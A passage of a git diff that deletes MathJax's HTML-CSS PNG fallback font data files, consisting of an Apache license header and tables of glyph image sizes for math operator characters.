-      [7,5,1],[8,6,1],[10,7,1],[12,8,1],[14,9,1],[16,12,2],[19,14,2],[22,16,2],
-      [27,18,2],[31,22,3],[37,26,3],[44,31,4],[53,36,4],[62,43,5]
-    ],
-    0x226B: [  // MUCH GREATER-THAN
-      [7,5,1],[8,6,1],[10,7,1],[12,8,1],[14,9,1],[16,12,2],[19,14,2],[23,16,2],
-      [27,18,2],[32,22,3],[38,26,3],[45,31,4],[53,36,4],[63,43,5]
-    ],
-    0x227A: [  // PRECEDES
-      [5,5,1],[6,6,1],[7,7,1],[9,8,1],[10,9,1],[12,10,1],[14,12,1],[17,14,1],
-      [20,17,2],[23,20,2],[28,24,2],[33,28,2],[39,33,3],[46,39,3]
-    ],
-    0x227B: [  // SUCCEEDS
-      [5,5,1],[6,6,1],[7,7,1],[9,8,1],[10,9,1],[12,10,1],[14,12,1],[17,14,1],
-      [20,17,2],[23,20,2],[28,24,2],[33,27,2],[39,33,3],[46,39,3]
-    ],
-    0x2282: [  // SUBSET OF
-      [5,5,1],[6,6,1],[7,7,1],[9,8,1],[10,9,1],[12,10,1],[14,12,1],[17,14,1],
-      [19,17,2],[23,20,2],[27,23,2],[33,27,2],[39,33,3],[46,39,3]
-    ],
-    0x2283: [  // SUPERSET OF
-      [5,5,1],[6,6,1],[7,7,1],[8,8,1],[10,9,1],[12,10,1],[14,12,1],[17,14,1],
-      [20,17,2],[23,20,2],[28,24,2],[33,28,2],[39,33,3],[46,39,3]
-    ],
-    0x2286: [  // SUBSET OF OR EQUAL TO
-      [5,6,1],[6,7,1],[7,9,2],[9,10,2],[10,11,2],[12,14,3],[14,16,3],[17,19,4],
-      [19,22,4],[23,26,5],[27,31,6],[33,37,7],[39,44,8],[46,52,10]
-    ],
-    0x2287: [  // SUPERSET OF OR EQUAL TO
-      [5,6,1],[6,7,1],[7,9,2],[8,10,2],[10,11,2],[12,14,3],[14,16,3],[17,18,3],
-      [20,22,4],[23,26,5],[28,31,6],[33,37,7],[39,44,8],[46,51,9]
-    ],
-    0x228E: [  // MULTISET UNION
-      [5,6,1],[6,6,1],[6,7,1],[8,9,1],[9,10,1],[11,11,1],[12,13,1],[14,16,1],
-      [18,18,1],[21,21,1],[24,25,1],[29,29,1],[34,36,2],[41,42,2]
-    ],
-    0x2291: [  // SQUARE IMAGE OF OR EQUAL TO
-      [5,6,1],[6,7,1],[7,9,2],[9,10,2],[10,11,2],[12,14,3],[14,16,3],[17,18,3],
-      [20,22,4],[24,26,5],[28,31,6],[34,37,7],[40,44,8],[47,52,10]
-    ],
-    0x2292: [  // SQUARE ORIGINAL OF OR EQUAL TO
-      [5,6,1],[6,7,1],[7,9,2],[9,10,2],[10,11,2],[12,14,3],[14,16,3],[17,18,3],
-      [20,22,4],[23,26,5],[28,31,6],[33,37,7],[39,44,8],[46,52,10]
-    ],
-    0x2293: [  // stix-square intersection, serifs
-      [5,5,1],[5,5,0],[6,6,0],[7,8,1],[9,10,1],[10,10,0],[12,12,0],[14,14,0],
-      [17,18,1],[20,20,0],[24,24,0],[29,28,0],[34,34,0],[40,40,0]
-    ],
-    0x2294: [  // stix-square union, serifs
-      [5,5,0],[5,5,0],[6,6,0],[7,8,0],[9,9,0],[10,10,0],[12,12,0],[14,14,0],
-      [17,17,0],[20,20,0],[24,24,0],[29,28,0],[34,34,0],[40,40,0]
-    ],
-    0x2295: [  // stix-circled plus (with rim)
-      [5,5,1],[6,6,1],[8,7,1],[9,8,1],[11,9,1],[13,12,2],[15,14,2],[17,16,2],
-      [20,20,3],[24,23,3],[29,27,4],[34,32,4],[40,38,5],[48,45,6]
-    ],
-    0x2296: [  // CIRCLED MINUS
-      [5,5,1],[6,6,1],[7,7,1],[9,8,1],[10,9,1],[12,12,2],[14,14,2],[17,16,2],
-      [21,20,3],[24,23,3],[29,27,4],[34,32,4],[40,38,5],[48,45,6]
-    ],
-    0x2297: [  // stix-circled times (with rim)
-      [5,5,1],[6,6,1],[7,7,1],[9,8,1],[10,9,1],[12,12,2],[15,14,2],[17,16,2],
-      [21,20,3],[24,23,3],[29,27,4],[34,32,4],[40,38,5],[48,45,6]
-    ],
-    0x2298: [  // CIRCLED DIVISION SLASH
-      [5,5,1],[6,6,1],[7,7,1],[9,8,1],[10,9,1],[12,12,2],[15,14,2],[17,16,2],
-      [21,20,3],[24,23,3],[29,27,4],[34,32,4],[40,38,5],[48,45,6]
-    ],
-    0x2299: [  // CIRCLED DOT OPERATOR
-      [5,5,1],[6,6,1],[7,7,1],[9,8,1],[10,9,1],[12,12,2],[15,14,2],[17,16,2],
-      [21,20,3],[24,23,3],[29,27,4],[34,32,4],[40,38,5],[48,45,6]
-    ],
-    0x22A2: [  // RIGHT TACK
-      [4,5,0],[5,6,0],[6,7,0],[7,9,0],[8,10,0],[10,12,0],[11,14,0],[13,17,0],
-      [16,20,0],[19,23,0],[22,28,0],[26,33,0],[31,39,0],[37,46,0]
-    ],
-    0x22A3: [  // LEFT TACK
-      [4,5,0],[5,6,0],[6,7,0],[7,9,0],[8,10,0],[9,12,0],[11,14,0],[13,17,0],
-      [16,20,0],[19,23,0],[22,28,0],[26,33,0],[31,39,0],[37,46,0]
-    ],
-    0x22A4: [  // DOWN TACK
-      [5,5,0],[6,6,0],[8,7,0],[9,8,0],[10,11,1],[12,12,1],[15,14,1],[17,16,0],
-      [20,20,1],[24,22,0],[29,27,0],[34,32,0],[40,37,0],[48,44,0]
-    ],
-    0x22A5: [  // UP TACK
-      [5,5,0],[6,6,0],[8,7,0],[9,8,0],[10,10,0],[12,12,0],[15,14,0],[17,16,0],
-      [20,19,0],[24,22,0],[29,27,0],[34,32,0],[40,37,0],[48,44,0]
-    ],
-    0x22A8: [  // TRUE
-      [6,8,2],[7,10,3],[8,11,3],[10,12,3],[12,15,4],[14,18,5],[16,20,5],[19,24,6],
-      [23,28,7],[27,34,9],[32,40,10],[38,47,12],[45,56,14],[54,67,17]
-    ],
-    0x22C4: [  // DIAMOND OPERATOR
-      [4,4,0],[5,5,0],[5,5,0],[6,6,0],[7,7,0],[9,9,0],[10,10,0],[12,12,0],
-      [14,14,0],[17,17,0],[20,20,0],[23,23,0],[27,27,0],[33,33,0]
-    ],
-    0x22C5: [  // DOT OPERATOR
-      [2,1,-1],[2,2,-1],[2,3,-1],[3,2,-2],[3,3,-2],[4,3,-3],[4,4,-3],[5,4,-4],
-      [6,4,-5],[7,5,-6],[8,6,-7],[10,7,-8],[11,8,-10],[14,9,-12]
-    ],
-    0x22C6: [  // STAR OPERATOR
-      [4,4,0],[5,5,0],[5,5,0],[6,6,0],[7,7,0],[9,9,0],[10,10,0],[12,12,0],
-      [14,14,0],[17,16,0],[20,20,0],[24,23,0],[28,27,0],[33,31,-1]
-    ],
-    0x22C8: [  // BOWTIE
-      [7,5,1],[8,6,1],[9,6,1],[11,7,1],[13,8,1],[15,10,1],[17,11,1],[21,13,1],
-      [25,15,1],[29,18,1],[35,21,1],[41,25,1],[49,29,1],[58,35,1]
-    ],
-    0x22EE: [  // VERTICAL ELLIPSIS
-      [2,6,0],[2,9,1],[2,10,1],[3,12,1],[3,14,1],[4,16,1],[4,19,1],[5,22,1],
-      [6,26,1],[7,31,1],[8,38,2],[10,44,2],[11,52,2],[14,62,2]
-    ],
-    0x22EF: [  // MIDLINE HORIZONTAL ELLIPSIS
-      [8,1,-1],[9,2,-1],[11,3,-1],[13,2,-2],[16,3,-2],[19,3,-3],[22,4,-3],[26,4,-4],
-      [31,4,-5],[36,5,-6],[43,6,-7],[51,7,-8],[61,8,-10],[73,9,-12]
-    ],
-    0x22F1: [  // DOWN RIGHT DIAGONAL ELLIPSIS
-      [8,6,0],[10,7,0],[12,9,0],[14,9,-1],[16,11,-1],[20,13,-1],[23,15,-1],[27,18,-2],
-      [32,21,-2],[38,24,-3],[46,30,-3],[54,35,-4],[64,41,-5],[76,48,-6]
-    ],
-    0x2308: [  // LEFT CEILING
-      [3,8,2],[4,9,2],[5,11,3],[5,12,3],[6,15,4],[8,17,4],[9,20,5],[10,25,7],
-      [12,28,7],[14,34,9],[17,40,10],[20,47,12],[24,56,14],[28,67,17]
-    ],
-    0x2309: [  // RIGHT CEILING
-      [2,8,2],[3,9,2],[3,11,3],[3,12,3],[4,15,4],[5,17,4],[5,20,5],[7,24,6],
-      [8,28,7],[9,34,9],[11,40,10],[13,47,12],[15,56,14],[18,67,17]
-    ],
-    0x230A: [  // LEFT FLOOR
-      [3,8,2],[4,9,2],[5,11,3],[5,12,3],[6,15,4],[8,17,4],[8,20,5],[10,24,6],
-      [12,28,7],[14,34,9],[17,40,10],[20,47,12],[24,56,14],[28,67,17]
-    ],
-    0x230B: [  // RIGHT FLOOR
-      [2,8,2],[3,9,2],[3,11,3],[3,12,3],[4,15,4],[5,17,4],[5,20,5],[6,24,6],
-      [8,28,7],[9,34,9],[11,40,10],[13,47,12],[15,56,14],[18,67,17]
-    ],
-    0x2322: [  // stix-small down curve
-      [7,3,0],[8,4,0],[10,3,-1],[12,4,-1],[14,5,-1],[16,6,-1],[19,6,-2],[22,8,-2],
-      [27,8,-3],[32,9,-4],[37,12,-4],[44,13,-5],[53,16,-6],[63,19,-7]
-    ],
-    0x2323: [  // stix-small up curve
-      [7,2,-1],[8,3,-1],[10,3,-1],[12,4,-1],[14,4,-2],[16,5,-2],[19,6,-2],[22,6,-3],
-      [27,8,-3],[32,9,-4],[38,10,-5],[44,12,-6],[53,15,-7],[63,17,-8]
-    ],
-    0x23B0: [  // UPPER LEFT OR LOWER RIGHT CURLY BRACKET SECTION
-      [3,8,2],[3,9,2],[4,11,3],[5,12,3],[5,15,4],[6,17,4],[7,20,5],[9,24,6],
-      [10,28,7],[12,33,8],[14,40,10],[17,46,11],[20,55,13],[24,65,16]
-    ],
-    0x23B1: [  // UPPER RIGHT OR LOWER LEFT CURLY BRACKET SECTION
-      [3,8,2],[3,9,2],[4,11,3],[5,12,3],[5,15,4],[6,17,4],[7,20,5],[9,24,6],
-      [10,28,7],[12,33,8],[14,39,10],[17,47,12],[20,55,14],[24,65,16]
-    ],
-    0x27E8: [  // MATHEMATICAL LEFT ANGLE BRACKET
-      [3,8,2],[3,10,3],[4,11,3],[4,12,3],[5,15,4],[6,18,5],[7,20,5],[8,24,6],
-      [10,28,7],[11,34,9],[14,40,10],[16,47,12],[19,56,14],[22,67,17]
-    ],
-    0x27E9: [  // MATHEMATICAL RIGHT ANGLE BRACKET
-      [2,8,2],[3,10,3],[3,11,3],[4,12,3],[4,15,4],[5,18,5],[6,20,5],[7,24,6],
-      [8,28,7],[10,34,9],[11,40,10],[13,47,12],[16,56,14],[19,67,17]
-    ],
-    0x27EE: [  // MATHEMATICAL LEFT FLATTENED PARENTHESIS
-      [3,8,2],[3,9,2],[4,11,3],[5,12,3],[5,15,4],[6,17,4],[8,20,5],[9,24,6],
-      [10,28,7],[12,33,8],[14,40,10],[17,47,12],[20,56,14],[24,65,16]
-    ],
-    0x27EF: [  // MATHEMATICAL RIGHT FLATTENED PARENTHESIS
-      [2,8,2],[2,9,2],[3,11,3],[3,12,3],[4,15,4],[4,17,4],[5,20,5],[6,24,6],
-      [7,28,7],[8,33,8],[10,40,10],[12,46,11],[14,55,13],[16,65,16]
-    ],
-    0x27F5: [  // LONG LEFTWARDS ARROW
-      [11,5,1],[13,5,0],[15,6,1],[18,7,1],[22,9,1],[26,9,0],[30,11,1],[36,13,1],
-      [43,15,1],[51,18,1],[60,21,1],[71,25,1],[85,30,1],[101,35,1]
-    ],
-    0x27F6: [  // LONG RIGHTWARDS ARROW
-      [11,5,1],[13,5,0],[16,7,1],[19,7,1],[22,9,1],[26,9,0],[31,11,1],[37,13,1],
-      [43,15,1],[52,18,1],[61,22,1],[73,25,1],[86,30,1],[103,35,1]
-    ],
-    0x27F7: [  // LONG LEFT RIGHT ARROW
-      [13,5,1],[15,5,0],[18,6,1],[22,7,1],[25,9,1],[30,9,0],[36,11,1],[42,13,1],
-      [50,15,1],[60,18,1],[71,22,1],[84,25,1],[100,30,1],[119,35,1]
-    ],
-    0x27F8: [  // LONG LEFTWARDS DOUBLE ARROW
-      [11,5,1],[13,6,1],[16,7,1],[19,8,1],[22,9,1],[26,10,1],[31,11,1],[37,14,1],
-      [43,16,1],[52,20,2],[61,23,2],[73,27,2],[86,31,2],[103,37,2]
-    ],
-    0x27F9: [  // LONG RIGHTWARDS DOUBLE ARROW
-      [11,5,1],[14,6,1],[16,7,1],[19,8,1],[22,9,1],[27,10,1],[31,12,1],[37,14,1],
-      [44,16,1],[52,19,1],[62,22,1],[74,26,1],[88,32,2],[104,37,2]
-    ],
-    0x27FA: [  // LONG LEFT RIGHT DOUBLE ARROW
-      [13,5,1],[15,6,1],[18,7,1],[22,8,1],[25,9,1],[30,10,1],[36,12,1],[42,14,1],
-      [50,16,1],[60,20,2],[71,23,2],[84,27,2],[100,31,2],[119,37,2]
-    ],
-    0x27FC: [  // LONG RIGHTWARDS ARROW FROM BAR
-      [11,5,1],[13,5,0],[16,7,1],[19,7,1],[22,9,1],[26,9,0],[31,11,1],[37,13,1],
-      [44,15,1],[52,18,1],[61,22,1],[73,25,1],[86,30,1],[103,35,1]
-    ],
-    0x2A3F: [  // AMALGAMATION OR COPRODUCT
-      [5,5,0],[6,6,0],[8,7,0],[9,9,0],[10,10,0],[12,12,0],[15,14,0],[17,16,0],
-      [20,19,0],[24,23,0],[29,27,0],[34,32,0],[40,38,0],[48,45,0]
-    ],
-    0x2AAF: [  // PRECEDES ABOVE SINGLE-LINE EQUALS SIGN
-      [5,6,1],[6,7,1],[7,9,2],[9,10,2],[10,11,2],[12,14,3],[14,16,3],[17,18,3],
-      [20,22,4],[23,26,5],[28,31,6],[33,37,7],[39,44,8],[46,52,10]
-    ],
-    0x2AB0: [  // SUCCEEDS ABOVE SINGLE-LINE EQUALS SIGN
-      [5,6,1],[6,7,1],[7,9,2],[9,10,2],[10,11,2],[12,14,3],[14,16,3],[17,19,4],
-      [20,22,4],[23,26,5],[28,31,6],[33,37,7],[39,44,8],[46,52,10]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/Main.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/MathOperators.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/MathOperators.js
deleted file mode 100644
index 45786e94..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/MathOperators.js
+++ /dev/null
@@ -1,301 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/MathOperators.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main": {
-    0x2200: [  // FOR ALL
-      [4,6,1],[5,7,1],[6,8,1],[7,10,1],[8,11,1],[10,13,1],[11,15,1],[13,18,1],
-      [16,20,1],[19,24,1],[22,29,1],[26,35,2],[31,41,2],[37,48,2]
-    ],
-    0x2202: [  // PARTIAL DIFFERENTIAL
-      [4,5,0],[5,6,0],[6,7,0],[7,9,0],[8,11,1],[10,13,1],[11,15,1],[14,18,1],
-      [16,21,1],[19,25,1],[23,30,1],[27,35,1],[32,42,2],[38,50,2]
-    ],
-    0x2203: [  // THERE EXISTS
-      [4,5,0],[4,6,0],[5,7,0],[6,8,0],[7,10,0],[9,12,0],[10,14,0],[12,16,0],
-      [14,20,0],[17,23,0],[20,28,0],[24,33,0],[28,39,0],[33,46,0]
-    ],
-    0x2205: [  // EMPTY SET
-      [4,7,1],[4,8,1],[5,9,1],[6,12,2],[7,13,2],[8,15,2],[9,18,2],[11,22,3],
-      [13,25,3],[16,29,3],[18,35,4],[22,40,4],[26,48,5],[31,57,6]
-    ],
-    0x2207: [  // NABLA
-      [6,6,1],[7,7,1],[8,8,1],[10,10,1],[11,11,1],[14,13,1],[16,15,1],[19,17,1],
-      [22,20,1],[26,24,1],[31,29,2],[37,34,2],[44,40,2],[52,48,3]
-    ],
-    0x2208: [  // ELEMENT OF
-      [5,5,1],[5,6,1],[6,7,1],[7,8,1],[9,9,1],[10,10,1],[12,12,1],[14,14,1],
-      [16,17,2],[20,20,2],[23,24,2],[27,28,2],[33,33,3],[39,39,3]
-    ],
-    0x2209: [  // stix-negated (vert) set membership, variant
-      [4,7,2],[5,8,2],[6,11,3],[7,12,3],[8,13,3],[10,16,4],[12,20,5],[14,23,6],
-      [16,27,7],[20,32,8],[23,37,9],[27,44,11],[33,52,13],[39,62,15]
-    ],
-    0x220B: [  // CONTAINS AS MEMBER
-      [4,5,1],[5,6,1],[6,7,1],[7,8,1],[8,9,1],[10,10,1],[12,12,1],[14,14,1],
-      [17,17,2],[20,20,2],[23,24,2],[28,28,2],[33,33,3],[39,39,3]
-    ],
-    0x2212: [  // MINUS SIGN
-      [5,1,-1],[6,1,-2],[7,1,-2],[9,1,-2],[10,1,-3],[12,1,-4],[14,2,-4],[17,2,-5],
-      [20,2,-6],[23,2,-7],[28,2,-9],[33,3,-10],[39,3,-12],[46,3,-15]
-    ],
-    0x2213: [  // MINUS-OR-PLUS SIGN
-      [5,6,2],[6,6,2],[8,7,2],[9,8,2],[10,10,3],[12,12,3],[15,14,4],[17,16,4],
-      [20,19,5],[24,23,6],[29,27,7],[34,32,8],[40,38,10],[48,44,11]
-    ],
-    0x2215: [  // DIVISION SLASH
-      [4,8,2],[4,10,3],[5,11,3],[6,12,3],[7,15,4],[8,18,5],[9,20,5],[11,24,6],
-      [13,28,7],[15,34,9],[18,40,10],[21,47,12],[25,56,14],[30,67,17]
-    ],
-    0x2216: [  // SET MINUS
-      [4,8,2],[4,10,3],[5,11,3],[6,12,3],[7,15,4],[8,18,5],[9,20,5],[11,24,6],
-      [13,28,7],[15,34,9],[18,40,10],[21,47,12],[25,56,14],[30,67,17]
-    ],
-    0x2217: [  // ASTERISK OPERATOR
-      [3,4,0],[4,4,0],[5,5,0],[6,6,0],[6,7,0],[8,8,0],[9,10,0],[11,11,0],
-      [12,13,0],[15,15,-1],[17,18,-1],[21,21,-1],[24,25,-1],[29,29,-2]
-    ],
-    0x2218: [  // RING OPERATOR
-      [3,3,0],[4,4,0],[5,5,0],[5,5,0],[7,6,0],[8,7,-1],[9,8,-1],[11,10,-1],
-      [13,12,-1],[15,14,-1],[18,16,-2],[21,19,-2],[25,22,-3],[30,27,-3]
-    ],
-    0x2219: [  // BULLET OPERATOR
-      [4,4,0],[4,4,0],[5,5,0],[6,6,0],[7,7,0],[8,8,0],[9,8,-1],[11,10,-1],
-      [13,12,-1],[15,14,-1],[18,16,-2],[21,19,-2],[25,22,-3],[30,27,-3]
-    ],
-    0x221A: [  // SQUARE ROOT
-      [6,8,2],[8,9,2],[9,10,2],[11,13,3],[12,15,3],[15,18,4],[17,20,4],[20,24,5],
-      [24,29,6],[29,34,7],[34,40,8],[40,48,10],[48,57,12],[57,67,14]
-    ],
-    0x221D: [  // PROPORTIONAL TO
-      [5,3,0],[6,4,0],[8,5,0],[9,5,0],[11,6,0],[13,8,0],[15,9,0],[17,12,1],
-      [21,14,1],[24,16,1],[29,19,1],[34,22,1],[40,26,1],[48,30,1]
-    ],
-    0x221E: [  // INFINITY
-      [7,3,0],[8,4,0],[10,5,0],[11,5,0],[14,6,0],[16,9,1],[19,10,1],[22,12,1],
-      [27,14,1],[32,16,1],[37,19,1],[44,22,1],[53,26,1],[63,31,1]
-    ],
-    0x2220: [  // ANGLE
-      [5,5,0],[6,6,0],[7,7,0],[8,9,0],[10,10,0],[12,12,0],[13,14,0],[16,17,0],
-      [19,20,0],[22,23,0],[27,28,0],[31,33,0],[37,39,0],[44,46,0]
-    ],
-    0x2223: [  // DIVIDES
-      [1,8,2],[2,10,3],[2,11,3],[2,12,3],[2,15,4],[3,18,5],[3,20,5],[4,24,6],
-      [5,28,7],[6,34,9],[7,40,10],[8,47,12],[9,56,14],[11,67,17]
-    ],
-    0x2225: [  // PARALLEL TO
-      [3,8,2],[4,10,3],[4,11,3],[5,14,4],[6,16,5],[7,18,5],[8,22,6],[9,25,7],
-      [11,30,8],[13,36,10],[15,42,11],[18,50,13],[21,59,16],[25,70,19]
-    ],
-    0x2227: [  // LOGICAL AND
-      [5,6,1],[6,6,1],[6,7,1],[8,9,1],[9,10,1],[11,11,1],[12,13,1],[15,15,1],
-      [17,18,1],[21,21,1],[24,25,1],[29,30,2],[34,36,2],[41,42,2]
-    ],
-    0x2228: [  // LOGICAL OR
-      [5,6,1],[6,6,1],[6,7,1],[8,9,1],[9,10,1],[11,11,1],[12,13,1],[15,15,1],
-      [17,18,1],[21,21,1],[24,25,1],[29,30,2],[34,36,2],[41,42,2]
-    ],
-    0x2229: [  // stix-intersection, serifs
-      [5,5,1],[5,6,1],[6,7,1],[7,8,1],[9,10,1],[10,11,1],[12,13,1],[14,15,1],
-      [17,18,1],[21,21,1],[24,25,1],[29,30,2],[34,36,2],[41,42,2]
-    ],
-    0x222A: [  // stix-union, serifs
-      [5,5,1],[6,6,1],[6,7,1],[8,8,1],[9,10,1],[11,11,1],[12,13,1],[14,15,1],
-      [18,18,1],[21,21,1],[24,25,1],[29,29,1],[34,36,2],[41,42,2]
-    ],
-    0x222B: [  // INTEGRAL
-      [3,7,2],[4,8,2],[5,9,2],[6,12,3],[7,13,3],[8,16,4],[10,18,4],[11,23,6],
-      [13,26,6],[16,32,8],[19,38,9],[22,45,11],[26,52,12],[31,63,15]
-    ],
-    0x223C: [  // TILDE OPERATOR
-      [5,2,-1],[6,2,-1],[7,3,-1],[9,4,-1],[10,3,-2],[12,5,-2],[14,6,-2],[17,6,-3],
-      [20,8,-3],[24,9,-4],[29,10,-5],[34,12,-6],[40,14,-7],[48,17,-8]
-    ],
-    0x2240: [  // WREATH PRODUCT
-      [2,5,1],[2,6,1],[2,7,1],[3,8,1],[4,9,1],[4,12,2],[5,14,2],[6,16,2],
-      [7,19,3],[8,23,3],[9,27,4],[11,32,4],[13,38,5],[15,45,6]
-    ],
-    0x2243: [  // ASYMPTOTICALLY EQUAL TO
-      [5,4,0],[6,4,0],[8,5,0],[9,6,0],[10,7,0],[12,8,0],[15,10,0],[17,10,-1],
-      [20,12,-1],[24,15,-1],[29,18,-1],[34,21,-1],[40,25,-1],[48,29,-2]
-    ],
-    0x2245: [  // APPROXIMATELY EQUAL TO
-      [5,4,0],[6,5,0],[8,6,0],[9,7,0],[10,8,0],[12,10,0],[15,12,0],[17,14,0],
-      [20,17,0],[24,20,0],[29,24,0],[34,27,-1],[40,32,-1],[48,38,-1]
-    ],
-    0x2248: [  // ALMOST EQUAL TO
-      [5,4,0],[6,4,0],[7,5,0],[9,6,0],[10,6,-1],[12,9,0],[14,9,-1],[17,11,-1],
-      [20,13,-1],[24,15,-1],[29,17,-2],[34,21,-2],[40,24,-3],[48,29,-3]
-    ],
-    0x224D: [  // EQUIVALENT TO
-      [5,4,0],[6,5,0],[8,5,0],[9,6,0],[10,7,0],[12,9,0],[15,10,0],[17,12,0],
-      [20,14,0],[24,16,0],[29,19,0],[34,23,0],[40,27,0],[48,31,-1]
-    ],
-    0x2250: [  // APPROACHES THE LIMIT
-      [5,4,-1],[6,5,-1],[8,6,-1],[9,7,-1],[10,8,-2],[12,10,-2],[15,12,-2],[17,13,-3],
-      [20,16,-3],[24,19,-4],[29,22,-5],[34,26,-6],[40,31,-7],[48,37,-8]
-    ],
-    0x2260: [  // stix-not (vert) equals
-      [5,7,2],[6,8,2],[8,10,3],[9,12,3],[10,13,3],[12,16,4],[15,19,5],[17,23,6],
-      [20,26,6],[24,32,8],[29,38,9],[34,45,11],[40,53,13],[48,62,15]
-    ],
-    0x2261: [  // IDENTICAL TO
-      [5,4,0],[6,4,0],[8,5,0],[9,6,0],[10,7,0],[12,8,0],[15,9,0],[17,10,-1],
-      [20,12,-1],[24,15,-1],[29,18,-1],[34,21,-1],[40,25,-1],[48,29,-2]
-    ],
-    0x2264: [  // LESS-THAN OR EQUAL TO
-      [5,6,1],[6,7,1],[8,9,2],[9,10,2],[10,11,2],[12,14,3],[15,16,3],[17,18,3],
-      [20,22,4],[24,26,5],[28,31,6],[34,37,7],[40,44,8],[48,52,10]
-    ],
-    0x2265: [  // GREATER-THAN OR EQUAL TO
-      [5,6,1],[6,7,1],[7,9,2],[9,10,2],[10,11,2],[12,14,3],[14,16,3],[17,18,3],
-      [20,22,4],[23,26,5],[28,31,6],[33,37,7],[39,44,8],[46,52,10]
-    ],
-    0x226A: [  // MUCH LESS-THAN
-      [7,5,1],[8,6,1],[10,7,1],[12,8,1],[14,9,1],[16,12,2],[19,14,2],[22,16,2],
-      [27,18,2],[31,22,3],[37,26,3],[44,31,4],[53,36,4],[62,43,5]
-    ],
-    0x226B: [  // MUCH GREATER-THAN
-      [7,5,1],[8,6,1],[10,7,1],[12,8,1],[14,9,1],[16,12,2],[19,14,2],[23,16,2],
-      [27,18,2],[32,22,3],[38,26,3],[45,31,4],[53,36,4],[63,43,5]
-    ],
-    0x227A: [  // PRECEDES
-      [5,5,1],[6,6,1],[7,7,1],[9,8,1],[10,9,1],[12,10,1],[14,12,1],[17,14,1],
-      [20,17,2],[23,20,2],[28,24,2],[33,28,2],[39,33,3],[46,39,3]
-    ],
-    0x227B: [  // SUCCEEDS
-      [5,5,1],[6,6,1],[7,7,1],[9,8,1],[10,9,1],[12,10,1],[14,12,1],[17,14,1],
-      [20,17,2],[23,20,2],[28,24,2],[33,27,2],[39,33,3],[46,39,3]
-    ],
-    0x2282: [  // SUBSET OF
-      [5,5,1],[6,6,1],[7,7,1],[9,8,1],[10,9,1],[12,10,1],[14,12,1],[17,14,1],
-      [19,17,2],[23,20,2],[27,23,2],[33,27,2],[39,33,3],[46,39,3]
-    ],
-    0x2283: [  // SUPERSET OF
-      [5,5,1],[6,6,1],[7,7,1],[8,8,1],[10,9,1],[12,10,1],[14,12,1],[17,14,1],
-      [20,17,2],[23,20,2],[28,24,2],[33,28,2],[39,33,3],[46,39,3]
-    ],
-    0x2286: [  // SUBSET OF OR EQUAL TO
-      [5,6,1],[6,7,1],[7,9,2],[9,10,2],[10,11,2],[12,14,3],[14,16,3],[17,19,4],
-      [19,22,4],[23,26,5],[27,31,6],[33,37,7],[39,44,8],[46,52,10]
-    ],
-    0x2287: [  // SUPERSET OF OR EQUAL TO
-      [5,6,1],[6,7,1],[7,9,2],[8,10,2],[10,11,2],[12,14,3],[14,16,3],[17,18,3],
-      [20,22,4],[23,26,5],[28,31,6],[33,37,7],[39,44,8],[46,51,9]
-    ],
-    0x228E: [  // MULTISET UNION
-      [5,6,1],[6,6,1],[6,7,1],[8,9,1],[9,10,1],[11,11,1],[12,13,1],[14,16,1],
-      [18,18,1],[21,21,1],[24,25,1],[29,29,1],[34,36,2],[41,42,2]
-    ],
-    0x2291: [  // SQUARE IMAGE OF OR EQUAL TO
-      [5,6,1],[6,7,1],[7,9,2],[9,10,2],[10,11,2],[12,14,3],[14,16,3],[17,18,3],
-      [20,22,4],[24,26,5],[28,31,6],[34,37,7],[40,44,8],[47,52,10]
-    ],
-    0x2292: [  // SQUARE ORIGINAL OF OR EQUAL TO
-      [5,6,1],[6,7,1],[7,9,2],[9,10,2],[10,11,2],[12,14,3],[14,16,3],[17,18,3],
-      [20,22,4],[23,26,5],[28,31,6],[33,37,7],[39,44,8],[46,52,10]
-    ],
-    0x2293: [  // stix-square intersection, serifs
-      [5,5,1],[5,5,0],[6,6,0],[7,8,1],[9,10,1],[10,10,0],[12,12,0],[14,14,0],
-      [17,18,1],[20,20,0],[24,24,0],[29,28,0],[34,34,0],[40,40,0]
-    ],
-    0x2294: [  // stix-square union, serifs
-      [5,5,0],[5,5,0],[6,6,0],[7,8,0],[9,9,0],[10,10,0],[12,12,0],[14,14,0],
-      [17,17,0],[20,20,0],[24,24,0],[29,28,0],[34,34,0],[40,40,0]
-    ],
-    0x2295: [  // stix-circled plus (with rim)
-      [5,5,1],[6,6,1],[8,7,1],[9,8,1],[11,9,1],[13,12,2],[15,14,2],[17,16,2],
-      [20,20,3],[24,23,3],[29,27,4],[34,32,4],[40,38,5],[48,45,6]
-    ],
-    0x2296: [  // CIRCLED MINUS
-      [5,5,1],[6,6,1],[7,7,1],[9,8,1],[10,9,1],[12,12,2],[14,14,2],[17,16,2],
-      [21,20,3],[24,23,3],[29,27,4],[34,32,4],[40,38,5],[48,45,6]
-    ],
-    0x2297: [  // stix-circled times (with rim)
-      [5,5,1],[6,6,1],[7,7,1],[9,8,1],[10,9,1],[12,12,2],[15,14,2],[17,16,2],
-      [21,20,3],[24,23,3],[29,27,4],[34,32,4],[40,38,5],[48,45,6]
-    ],
-    0x2298: [  // CIRCLED DIVISION SLASH
-      [5,5,1],[6,6,1],[7,7,1],[9,8,1],[10,9,1],[12,12,2],[15,14,2],[17,16,2],
-      [21,20,3],[24,23,3],[29,27,4],[34,32,4],[40,38,5],[48,45,6]
-    ],
-    0x2299: [  // CIRCLED DOT OPERATOR
